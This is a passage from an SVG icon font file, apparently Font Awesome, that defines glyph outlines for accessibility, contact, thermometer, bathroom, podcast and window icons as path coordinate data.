c21.6719 14.7285 46.6787 24.7324 74.1865 28.0674c14.7246 1.94434 28.0625 -8.33594 29.7295 -23.0654c1.94531 -14.7275 -8.33594 -28.0674 -23.0615 -29.7344c-16.1162 -1.94434 -31.1201 -7.50293 -44.1787 -15.2832c26.1143 5.71289 58.7119 3.1377 88.0791 -11.1152
c13.3359 -6.66895 18.8936 -22.5088 12.2246 -35.8486c-6.38965 -13.0596 -22.5039 -18.6162 -35.5645 -12.2256zM263.318 189.489c-6.1123 12.5049 -18.3379 20.2861 -32.2314 20.2861h-0.105469c-19.5732 0 -35.46 -15.8867 -35.46 -35.46
c0 -0.0302734 0 -0.0800781 0.000976562 -0.110352c0 -21.4277 17.8076 -35.5703 35.5645 -35.5703c13.8936 0 26.1191 7.78125 32.2314 20.2861c4.44531 9.44922 13.6133 15.0059 23.3389 15.2842c-9.72559 0.277344 -18.8936 5.83496 -23.3389 15.2842zM638.139 226.726
c4.16797 -8.61426 1.11133 -18.8965 -6.94531 -23.6201l-58.0713 -33.0693l-41.1221 -74.1963c-6.38965 -57.2451 -34.7314 -109.767 -79.7432 -146.726c-10.9316 -9.1123 -27.7988 -8.14453 -37.5098 3.6123c-9.44629 11.3945 -7.78027 28.0674 3.61328 37.5166
c12.5029 10.5586 23.6162 22.5088 32.5078 35.5703c-21.6719 -14.7295 -46.6787 -24.7324 -74.1865 -28.0674c-10.0205 -2.50586 -27.5518 5.64258 -29.7295 23.0645c-1.94531 14.7285 8.33594 28.0674 23.0615 29.7344c16.1162 1.94629 31.1201 7.50293 44.1787 15.2842
c-26.1143 -5.71289 -58.7119 -3.1377 -88.0791 11.1152c-13.3359 6.66895 -18.8936 22.5088 -12.2246 35.8477c6.38965 13.0605 22.5049 18.6191 35.5654 12.2266c20.2949 -10.1484 44.1465 -11.1982 64.7393 -3.88965c-42.6064 0 -71.208 20.4746 -85.5781 50.5762
c-8.57617 17.8984 5.14746 38.0713 23.6172 38.0713c-18.4297 0 -32.2109 20.1357 -23.6172 38.0703c14.0332 29.3965 44.0391 50.8877 81.9658 50.8545l92.8027 -8.61523l66.4062 33.3467c9.4082 4.7041 19.8281 0.354492 23.8936 -7.78027zM408.912 245.344
c-13.8936 0 -26.1191 -7.78027 -32.2314 -20.2861c-4.44531 -9.44824 -13.6133 -15.0059 -23.3389 -15.2832c9.72559 -0.27832 18.8936 -5.83594 23.3389 -15.2842c6.1123 -12.5049 18.3379 -20.2861 32.2314 -20.2861h0.105469c19.5732 0 35.46 15.8857 35.46 35.46
c0 0.0302734 0 0.0791016 -0.000976562 0.110352c0 21.4287 -17.8076 35.5693 -35.5645 35.5693z" />
    <glyph glyph-name="deaf" unicode="&#xf2a4;" 
d="M216 188c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 44.1123 35.8877 80 80 80s80 -35.8877 80 -80c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 13.2344 -10.7666 24 -24 24s-24 -10.7656 -24 -24zM240 364c97.0469 0 176 -78.9531 176 -176
c0 -95.9863 -71.4053 -109.798 -72 -144.226c-0.124023 -59.4463 -48.5254 -107.774 -108 -107.774c-15.4639 0 -28 12.5361 -28 28s12.5361 28 28 28c28.6729 0 52 23.3271 52 52l0.00292969 0.37793c0.988281 73.3115 71.9971 68.458 71.9971 143.622
c0 66.168 -53.832 120 -120 120s-120 -53.832 -120 -120c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 97.0469 78.9531 176 176 176zM508.485 416.201c4.68652 -4.68652 4.68652 -12.2842 0 -16.9727l-87.0303 -87.0283
c-4.68652 -4.68652 -12.2842 -4.68652 -16.9697 0l-28.2852 28.2852c-4.68652 4.68652 -4.68652 12.2842 0 16.9707l87.0283 87.0293c4.6875 4.68555 12.2842 4.68555 16.9717 0zM168.97 133.255l28.2861 -28.2842c4.68652 -4.68652 4.68652 -12.2852 0 -16.9707
l-148.484 -148.485c-4.6875 -4.68555 -12.2842 -4.68555 -16.9717 0l-28.2852 28.2842c-4.68555 4.6875 -4.68555 12.2852 0 16.9707l148.485 148.485c4.68555 4.68652 12.2842 4.68652 16.9697 0z" />
    <glyph glyph-name="sign-language" unicode="&#xf2a7;" horiz-adv-x="448" 
d="M91.4336 -35.9873c-0.306641 16.0186 13.1094 29.1289 29.1309 29.1289h62.293v5.71484h-125.864c-16.0215 0 -29.4375 13.1104 -29.1299 29.1289c0.296875 15.5234 12.9717 28.0146 28.5645 28.0146h126.43v5.71387h-153.722
c-16.0205 0 -29.4365 13.1113 -29.1299 29.1289c0.296875 15.5225 12.9727 28.0137 28.5664 28.0137h154.286v5.71387h-125.151c-16.0215 0 -29.4375 13.1104 -29.1299 29.1289c0.296875 15.5215 12.9727 28.0127 28.5654 28.0127h168.566l-31.085 22.6064
c-12.7617 9.28027 -15.583 27.1484 -6.30176 39.9121c9.28027 12.7607 27.1494 15.5811 39.9121 6.30176l123.36 -89.7148c7.79395 -5.66895 14.1201 -18.0908 14.1201 -27.7285v-141.136c0 -15.9102 -10.9463 -29.7305 -26.4326 -33.374l-80.4717 -18.9346
c-8.55176 -2.01172 -22.624 -3.64551 -31.4102 -3.64551h-107.4c-15.5928 0.000976562 -28.2686 12.4922 -28.5664 28.0137zM164.683 189.714l-36.3711 46.71c-9.5791 12.3027 -7.51172 29.9795 4.55371 39.75c12.4502 10.083 31.0371 7.55273 40.8799 -5.08789
l13.0039 -16.7002c-17.1426 -15.6484 -15.4092 -43.0244 3.16992 -56.5361l11.1875 -8.13574h-36.4238zM447.981 191.817c0.00976562 -0.311523 0.0175781 -0.81543 0.0175781 -1.12695c0 -9.24902 -5.92188 -21.3682 -13.2197 -27.0508l-61.0645 -47.5488v16.999
c0 13.4834 -6.51074 26.2686 -17.415 34.1982l-123.359 89.7139c-12.6357 9.18945 -29.1934 9.16113 -41.6904 0.904297l-52.0527 66.8486c-9.84375 12.6416 -7.74121 31.2822 5.08594 40.8809c12.4297 9.30273 30.0732 6.97559 39.6523 -5.32812l77.6758 -99.7539
l4.50879 3.51172l-94.4434 121.287c-9.84277 12.6416 -7.74121 31.2822 5.08594 40.8818c12.4307 9.30176 30.0732 6.97461 39.6533 -5.32812l94.79 -121.734l4.50879 3.51074l-76.8887 98.7451c-9.84277 12.6416 -7.74121 31.2822 5.08594 40.8809
c12.4297 9.30273 30.0732 6.97559 39.6533 -5.32715l103.562 -133.001l-1.26172 38.4141c-0.518555 15.7715 11.8457 28.9756 27.6191 29.4932c15.7705 0.517578 28.9746 -11.8477 29.4922 -27.6191z" />
    <glyph glyph-name="low-vision" unicode="&#xf2a8;" horiz-adv-x="576" 
d="M569.344 216.369c3.67383 -6.22461 6.65625 -17.1416 6.65625 -24.3691s-2.98242 -18.1455 -6.65723 -24.3701c-31.9746 -54.2607 -79.6484 -98.3232 -136.81 -126.301l0.00683594 -0.00878906l43.1201 -58.377c7.60156 -10.8594 4.95996 -25.8252 -5.90039 -33.4268
l-13.1133 -9.17773c-10.8594 -7.59863 -25.8223 -4.95801 -33.4238 5.90039l-251.836 356.544c-11.1797 -5.09375 -28.5518 -14.7539 -38.7764 -21.5635l189.979 -271.399c-9.52637 -1.00488 -25.0342 -1.82031 -34.6133 -1.82031
c-12.29 0 -32.1484 1.33984 -44.3262 2.99023l-40.6309 58.04h-0.00976562l-119.399 170.58c-8.64453 -9.25391 -21.3203 -25.3428 -28.2939 -35.9121l124.19 -177.417c-73.1172 25.4863 -134.358 76.0166 -172.858 141.349c-8.96484 15.2109 -8.76562 33.8643 0 48.7393
c0.0107422 0.0166016 0.0234375 0.0332031 0.0332031 0.0498047c33.5459 56.8984 82.7676 99.8506 136.79 126.242l-43.1309 58.3945c-7.60156 10.8604 -4.95996 25.8252 5.90039 33.4268l13.1143 9.17773c10.8584 7.59961 25.8213 4.95801 33.4229 -5.90039
l52.7705 -72.1689c26.3496 6.79004 53.9834 10.4092 82.4512 10.4092c119.81 0 224.96 -63.9492 281.344 -159.631zM390.026 102.06c21.1406 23.9658 33.9736 55.4365 33.9736 89.9404c0 75.1738 -60.8379 136 -136 136c-17.5117 0 -34.2422 -3.30566 -49.6084 -9.32324
l19.0684 -27.2363c25.9883 7.96289 54.7598 5.56836 79.5098 -7.68066h-0.0292969c-23.6504 0 -42.8203 -19.1699 -42.8203 -42.8193c0 -23.4717 18.9922 -42.8203 42.8203 -42.8203c23.6494 0 42.8193 19.1699 42.8193 42.8203v0.0292969
c18.9111 -35.3271 15.8818 -79.1123 -8.7998 -111.68z" />
    <glyph glyph-name="handshake" unicode="&#xf2b5;" horiz-adv-x="640" 
d="M434.7 384c8.5 0 16.7002 -3.40039 22.5996 -9.40039l54.6006 -54.5996v-193.5c-2.40039 2.7002 -5 5.2998 -7.90039 7.7002l-145.6 118.2l26.0996 23.8994c6.5 6 7 16.1006 1 22.6006c-5.90039 6.5 -16.0996 6.89941 -22.5996 1l-79.9004 -73.2002
c-0.0996094 -0.100586 -0.299805 -0.100586 -0.400391 -0.200195c-16.6992 -14.9004 -43.3994 -11.2002 -56.0996 2.7002c-14.2002 15.5 -14.5 40.3994 2.09961 56c0.100586 0.0996094 0.200195 0.299805 0.300781 0.399414l98.2998 90
c5.89941 5.40039 13.5996 8.40039 21.5996 8.40039h85.9004zM544 319.8h96v-255.899h-64c-17.7002 0 -32 14.2998 -32 32v223.899zM592 95.9004c8.7998 0 16 7.19922 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16zM0 64v255.8h96
v-223.8c0 -17.7002 -14.2998 -32 -32 -32h-64zM48 127.9c-8.7998 0 -16 -7.10059 -16 -16c0 -8.80078 7.2002 -16 16 -16s16 7.19922 16 16c0 8.7998 -7.2002 16 -16 16zM483.9 109.3c13.6992 -11.2002 15.7998 -31.2998 4.59961 -45.0996l-9.5 -11.7002
c-11.0996 -13.7998 -31.2998 -15.7998 -45 -4.7002l-5.40039 4.40039l-31.3994 -38.6006c-12.9004 -15.8994 -36.4004 -18.3994 -52.2998 -5.39941l-17.9004 15.5l-0.200195 -0.200195c-22.2998 -27.4004 -62.5996 -31.5996 -90 -9.2998l-90.5 81.8994h-18.2998v223.9
l54.7002 54.5996c6 6 14.0996 9.40039 22.5996 9.40039h83.7998l-81.7998 -74.9004c-29.2002 -26.7998 -31.2998 -72.2998 -4.39941 -101.699c26.5 -28.9004 72 -31.5 101.699 -4.40039l30 27.5z" />
    <glyph glyph-name="envelope-open" unicode="&#xf2b6;" 
d="M512 -16c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v263.276c0 12.8955 8.2373 29.8193 18.3867 37.7754c24.9131 19.5293 45.501 35.3652 164.2 121.512c16.8252 12.2666 50.21 41.7832 73.4131 41.4336
c23.1982 0.353516 56.5957 -29.1719 73.4131 -41.4326c118.687 -86.1377 139.303 -101.995 164.2 -121.513c10.1494 -7.95605 18.3867 -24.8799 18.3867 -37.7754v-263.276zM446.334 180.605c-2.5625 3.72754 -7.7002 4.59473 -11.3389 1.90625
c-22.8447 -16.873 -55.4619 -40.7051 -105.582 -77.0791c-16.8252 -12.2656 -50.21 -41.7803 -73.4131 -41.4297c-23.2109 -0.34375 -56.5586 29.1436 -73.4131 41.4297c-50.1143 36.3701 -82.7344 60.2041 -105.582 77.0791
c-3.63867 2.68848 -8.77637 1.82129 -11.3389 -1.90625l-9.07227 -13.1963c-0.777344 -1.13086 -1.4082 -3.16113 -1.4082 -4.5332c0 -2.22754 1.45508 -5.11035 3.24707 -6.43359c22.8877 -16.8994 55.4541 -40.6904 105.304 -76.8682
c20.2734 -14.7812 56.5234 -47.8135 92.2637 -47.5732c35.7236 -0.242188 71.9609 32.7715 92.2627 47.5732c49.8506 36.1787 82.418 59.9697 105.304 76.8682c1.79199 1.32324 3.24707 4.20605 3.24707 6.43359c0 1.37207 -0.630859 3.40234 -1.4082 4.5332z" />
    <glyph glyph-name="address-book" unicode="&#xf2b9;" horiz-adv-x="448" 
d="M436 288h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-48c0 -26.5 -21.5 -48 -48 -48h-320c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48
h320c26.5 0 48 -21.5 48 -48v-48h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM208 320c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM320 83.2002v19.2002
c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199
c12.4004 0 22.4004 8.59961 22.4004 19.2002z" />
    <glyph glyph-name="address-card" unicode="&#xf2bb;" horiz-adv-x="576" 
d="M528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM176 320c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM288 83.2002v19.2002
c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199
c12.4004 0 22.4004 8.59961 22.4004 19.2002zM512 136v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM512 200v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16
c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM512 264v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8z" />
    <glyph glyph-name="user-circle" unicode="&#xf2bd;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 344c-48.5996 0 -88 -39.4004 -88 -88s39.4004 -88 88 -88s88 39.4004 88 88s-39.4004 88 -88 88zM248 0c58.7002 0 111.3 26.5996 146.5 68.2002
c-18.7998 35.3994 -55.5996 59.7998 -98.5 59.7998c-2.40039 0 -4.7998 -0.400391 -7.09961 -1.09961c-12.9004 -4.2002 -26.6006 -6.90039 -40.9004 -6.90039s-27.9004 2.7002 -40.9004 6.90039c-2.2998 0.699219 -4.69922 1.09961 -7.09961 1.09961
c-42.9004 0 -79.7002 -24.4004 -98.5 -59.7998c35.2002 -41.6006 87.7998 -68.2002 146.5 -68.2002z" />
    <glyph glyph-name="id-badge" unicode="&#xf2c1;" horiz-adv-x="384" 
d="M336 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h288zM144 416c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h96c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16h-96zM192 288
c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM304 51.2002v19.2002c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5
c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199c12.4004 0 22.4004 8.59961 22.4004 19.2002z" />
    <glyph glyph-name="id-card" unicode="&#xf2c2;" horiz-adv-x="576" 
d="M528 416c26.5 0 48 -21.5 48 -48v-16h-576v16c0 26.5 21.5 48 48 48h480zM0 16v304h576v-304c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48zM352 248v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-144
c-4.40039 0 -8 -3.59961 -8 -8zM352 184v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8zM352 120v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8v16
c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8zM176 256c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM67.0996 51.7998c-3.19922 -9.7998 5.2002 -19.7998 15.6006 -19.7998h186.6
c10.4004 0 18.7998 9.90039 15.6006 19.7998c-8.40039 25.7002 -32.5 44.2002 -60.9004 44.2002h-8.2002c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-8.2002c-28.4004 0 -52.5 -18.5 -60.9004 -44.2002z" />
    <glyph glyph-name="thermometer-full" unicode="&#xf2c7;" horiz-adv-x="256" 
d="M224 352v-203.347c19.9121 -22.5635 32 -52.1943 32 -84.6533c0 -70.6963 -57.3018 -128 -128 -128c-0.298828 0 -0.610352 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1973 12.2227 61.5771 31.998 83.9863
v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96zM128 -16c44.1123 0 80 35.8877 80 80c0 34.3379 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7334 -14.4277 -31.8262 -32.0996 -31.999 -66.0801
c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199zM192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v232.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-232.583c19.124 -11.0684 32 -31.7324 32 -55.417z" />
    <glyph glyph-name="thermometer-three-quarters" unicode="&#xf2c8;" horiz-adv-x="256" 
d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v168.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-168.583c19.124 -11.0684 32 -31.7324 32 -55.417zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533
c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347z
M208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312
c44.1123 0 80 35.8877 80 80z" />
    <glyph glyph-name="thermometer-half" unicode="&#xf2c9;" horiz-adv-x="256" 
d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v104.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-104.583c19.124 -11.0684 32 -31.7324 32 -55.417zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533
c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347z
M208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312
c44.1123 0 80 35.8877 80 80z" />
    <glyph glyph-name="thermometer-quarter" unicode="&#xf2ca;" horiz-adv-x="256" 
d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v40.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-40.583c19.124 -11.0684 32 -31.7324 32 -55.417zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533
c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347z
M208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312
c44.1123 0 80 35.8877 80 80z" />
    <glyph glyph-name="thermometer-empty" unicode="&#xf2cb;" horiz-adv-x="256" 
d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64s64 -28.6543 64 -64zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969
c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347zM208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48
s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312c44.1123 0 80 35.8877 80 80z" />
    <glyph glyph-name="shower" unicode="&#xf2cc;" 
d="M389.66 312.4l-158.061 -158.061c-9.36914 -9.37012 -24.5693 -9.37012 -33.9395 0l-11.3203 11.3203c-9.37012 9.37012 -9.37012 24.5703 0 33.9395l0.110352 0.110352c-34.0303 40.21 -35.1602 98.9404 -3.39062 140.38
c-11.9697 7.5498 -26.1396 11.9102 -41.2998 11.9102c-42.8799 0 -77.7598 -34.8799 -77.7598 -77.7598v-306.24h-64v306.24c0 78.1699 63.5898 141.76 141.76 141.76c36.9307 0 70.6104 -14.2002 95.8604 -37.4199c35.8994 11.5098 76.5 4.5 106.67 -21.0303
l0.110352 0.110352c9.36914 9.37012 24.5693 9.37012 33.9395 0l11.3203 -11.3203c9.37012 -9.37012 9.37012 -24.5703 0 -33.9395zM384 240c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16zM416 240c0 8.83691 7.16309 16 16 16
s16 -7.16309 16 -16s-7.16309 -16 -16 -16s-16 7.16309 -16 16zM512 240c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16zM352 208c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16z
M400 224c8.83691 0 16 -7.16309 16 -16s-7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16zM480 208c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16zM320 176c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16
s7.16309 16 16 16s16 -7.16309 16 -16zM352 176c0 8.83691 7.16309 16 16 16s16 -7.16309 16 -16s-7.16309 -16 -16 -16s-16 7.16309 -16 16zM448 176c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16zM320 144
c0 8.83691 7.16309 16 16 16s16 -7.16309 16 -16s-7.16309 -16 -16 -16s-16 7.16309 -16 16zM416 144c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16zM320 112c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16
s7.16309 16 16 16s16 -7.16309 16 -16zM384 112c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16zM352 80c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16zM320 48
c0 -8.83691 -7.16309 -16 -16 -16s-16 7.16309 -16 16s7.16309 16 16 16s16 -7.16309 16 -16z" />
    <glyph glyph-name="bath" unicode="&#xf2cd;" 
d="M488 192c13.2549 0 24 -10.7451 24 -24v-16c0 -13.2549 -10.7451 -24 -24 -24h-8v-32c0 -28.4297 -12.3623 -53.9688 -32 -71.5469v-32.4531c0 -13.2549 -10.7451 -24 -24 -24h-16c-13.2549 0 -24 10.7451 -24 24v8h-256v-8c0 -13.2549 -10.7451 -24 -24 -24h-16
c-13.2549 0 -24 10.7451 -24 24v32.4531c-19.6377 17.5781 -32 43.1172 -32 71.5469v32h-8c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h8v144c0 44.1123 35.8877 80 80 80c27.2119 0 51.2812 -13.667 65.7393 -34.4873
c21.8838 6.06445 46.2285 1.10449 64.1777 -15.3643c4.71289 4.1748 11.916 4.02051 16.4277 -0.491211l11.3145 -11.3145c4.68555 -4.68652 4.68555 -12.2852 0 -16.9707l-95.0303 -95.0293c-4.68652 -4.68555 -12.2852 -4.68555 -16.9707 0l-11.3145 11.3145
c-4.51172 4.51172 -4.66699 11.7148 -0.491211 16.4277c-21.5244 23.459 -23.3291 57.8281 -6.83789 83.0352c-5.68262 8.93457 -15.6641 14.8799 -27.0146 14.8799c-17.6445 0 -32 -14.3555 -32 -32v-144h408z" />
    <glyph glyph-name="podcast" unicode="&#xf2ce;" horiz-adv-x="448" 
d="M267.429 -40.5635c-5.14258 -19.0098 -24.5703 -23.4365 -43.4287 -23.4365c-18.8574 0 -38.2861 4.42676 -43.4277 23.4365c-7.64551 28.4297 -20.5723 99.665 -20.5723 132.813c0 35.1562 31.1416 43.75 64 43.75s64 -8.59375 64 -43.75
c0 -32.9492 -12.8711 -104.179 -20.5713 -132.813zM156.867 159.446c2.6748 -2.61914 2.39941 -6.98535 -0.628906 -9.18555c-9.3125 -6.76465 -16.4609 -15.3418 -21.2354 -25.3623c-1.74219 -3.65723 -6.5 -4.6582 -9.45312 -1.8877
c-28.0176 26.2891 -45.5498 63.6279 -45.5498 104.989c0 80.7852 66.8691 146.247 148.163 143.941c76.1982 -2.16113 137.938 -64.1631 139.793 -140.369c1.04199 -42.7822 -16.6846 -81.5225 -45.5107 -108.565c-2.95215 -2.76855 -7.70801 -1.7627 -9.44922 1.8916
c-4.77441 10.0195 -11.9219 18.5977 -21.2344 25.3623c-3.02832 2.20117 -3.30273 6.56738 -0.62793 9.1875c17.8018 17.4355 28.8662 41.7246 28.8662 68.5518c0 54.1934 -45.1377 98.042 -99.793 95.9258c-49.7295 -1.9248 -90.0703 -42.1572 -92.124 -91.8809
c-1.17383 -28.4258 10.0908 -54.291 28.7842 -72.5986zM224 448c123.815 0 224 -100.205 224 -224c0 -90.1865 -52.7734 -165.727 -125.739 -201.407c-4.33203 -2.11914 -9.2666 1.54297 -8.53516 6.31055c2.55566 16.6416 4.625 33.1924 5.62402 47.2295
c48.4922 31.377 80.6504 85.9355 80.6504 147.867c0 97.2031 -79.207 176.253 -176.468 175.999c-96.2393 -0.250977 -174.938 -78.6621 -175.529 -174.899c-0.376953 -61.3311 30.7871 -115.541 78.1875 -147.347c1.52832 -1.02637 2.53125 -2.67578 2.67773 -4.51172
c1.06348 -13.3936 3.02344 -28.8271 5.40625 -44.3389c0.731445 -4.7666 -4.20215 -8.42871 -8.53516 -6.31055c-73.1377 35.7607 -125.739 111.416 -125.739 201.408c0 123.815 100.204 224 224 224zM224 288c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64
s-64 28.6543 -64 64s28.6543 64 64 64z" />
    <glyph glyph-name="window-maximize" unicode="&#xf2d0;" 
d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM448 256v84c0 6.59961 -5.40039 12 -12 12h-360c-6.59961 0 -12 -5.40039 -12 -12v-84h384z" />
    <glyph glyph-name="window-minimize" unicode="&#xf2d1;" 
d="M464 96c26.5 0 48 -21.5 48 -48v-32c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v32c0 26.5 21.5 48 48 48h416z" />
    <glyph glyph-name="window-restore" unicode="&#xf2d2;" 
